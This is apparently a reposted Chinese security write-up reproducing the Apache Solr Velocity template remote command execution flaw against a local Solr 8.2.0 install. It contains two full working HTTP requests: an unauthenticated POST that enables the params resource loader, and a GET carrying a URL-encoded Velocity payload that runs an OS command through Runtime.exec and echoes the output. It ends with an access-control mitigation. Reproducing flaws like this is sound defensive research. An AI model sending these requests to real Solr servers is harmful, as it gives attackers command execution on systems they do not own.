【复现】Apache Solr远程命令执行漏洞

admin 2022年7月18日06:40:50评论280 views字数 3162阅读10分32秒阅读模式

投稿:h88z

漏洞描述

这一漏洞是由国外安全研究人员s00py公开的。产生原因是由于Apache SolrVelocity模板产生的注入漏洞。该漏洞可以攻击最新以及之前版本的Solr。目前该漏洞利用详情已经广泛流传于Github以及各大网络安全微信、QQ群,且公开的EXP可以执行任意命令并自带回显。官方暂未发布补丁。

漏洞等级

高危

CVE编号

暂无

影响版本

包括且不限于8.2.0(最新版本)

经过一下午各路大佬的不懈尝试,目前已成功复现以下版本(不完全统计)


5.4.1/5.5.0

6.6.1/6.6.3

7.0.1/7.1.0/7.2.1/7.3.0/7.4.0/7.5.0/7.7.1/7.7.2

8.1.0/8.1.1/8.2.0


【复现】Apache Solr远程命令执行漏洞

【复现】Apache Solr远程命令执行漏洞

【复现】Apache Solr远程命令执行漏洞

【复现】Apache Solr远程命令执行漏洞

【复现】Apache Solr远程命令执行漏洞

【复现】Apache Solr远程命令执行漏洞

【复现】Apache Solr远程命令执行漏洞

漏洞复现(Windows环境)

  1. 首先下载最新版本的Solr

    下载链接

    https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip

  2.下载完毕后解压

  进入到solr文件的bin文件夹下开启start

  


【复现】Apache Solr远程命令执行漏洞



  E:

  cd solr-8.2.0/bin/

  solr start




  3.打开浏览器输入http://127.0.0.1:8983

【复现】Apache Solr远程命令执行漏洞

  4.可以点左边的Core Selector查看集合

  这里我安装时里面并没有什么卵集合

  所以需要我手动添加

  【复现】Apache Solr远程命令执行漏洞

  点击左边的core Admin再点Add core

  会出现添加界面随便输入名字,注意config和schema留空(不然会报错)

  【复现】Apache Solr远程命令执行漏洞

这里有个小坑直接添加会报错添加不了

需要去solr的根目录下把默认配置文件复制到想要命名的文件夹下。点Add Core会自动在E:solr-8.2.0serversolr下创建同名文件夹。这里需要将E:solr-8.2.0serversolrconfigsets_default下的conf文件夹复制到刚刚新建的同名文件夹下,比如我的是E:solr-8.2.0serversolraaa

这样一番操作就可以成功添加了。


5.访问 http://127.0.0.1:8983/solr/aaa(这里是刚刚命名的name)/config 看下

【复现】Apache Solr远程命令执行漏洞


默认情况下params.resource.loader.enabled的值为false

现在可以祭出我们的神器burp了

6.

打入payload修改集合设置

params.resource.loader.enabled改为true

(这里因为我的代理出了点问题会自动过滤掉本地ip导致我的burp抓不到,所以我手动更改了host将test.com指向了127.0.0.1所以图片中地址为test.com)

【复现】Apache Solr远程命令执行漏洞

POST /solr/aaa(这里是刚刚命名的name)/config HTTP/1.1
Host: 127.0.0.1:8983
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Referer: http://206.189.43.186:8081/solr/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 263

{
 "update-queryresponsewriter": {
   "startup": "lazy",
   "name": "velocity",
   "class": "solr.VelocityResponseWriter",
   "template.base.dir": "",
   "solr.resource.loader.enabled": "true",
   "params.resource.loader.enabled": "true"
 }
}


未授权修改集合设置后再次访问 http://127.0.0.1:8983/solr/aaa(这里是刚刚命名的name)/config 看下

【复现】Apache Solr远程命令执行漏洞

已经修改成功。


7.命令执行


GET /solr/aaa(这里是刚刚命名的name)
/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 127.0.0.1:8983
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Referer: http://206.189.43.186:8081/solr/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 0



【复现】Apache Solr远程命令执行漏洞

至此就结束了。


有的朋友可能会出现500错误


根据测试情况来看执行ID命令不会报500错误,执行相对复杂的命令会报500错误但是命令是会执行成功的


如下图


【复现】Apache Solr远程命令执行漏洞

【复现】Apache Solr远程命令执行漏洞




参考资料

1.

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

2.

大佬们的指导



修复方案

 官方暂未给出相应修复补丁,目前根据网络上的解决方法可以对solr进行访问控制。具体方法参照https://lucene.apache.org/solr/guide/8_1/basic-authentication-plugin.html#enable-basic-authentication


声明:未经授权严禁转载,文中部分图片取材来源于群聊图片,如有侵权请联系本公众号。


【复现】Apache Solr远程命令执行漏洞





原文始发于微信公众号(家国安全):【复现】Apache Solr远程命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月18日06:40:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【复现】Apache Solr远程命令执行漏洞http://cn-sec.com/archives/1124879.html

发表评论

匿名网友 填写信息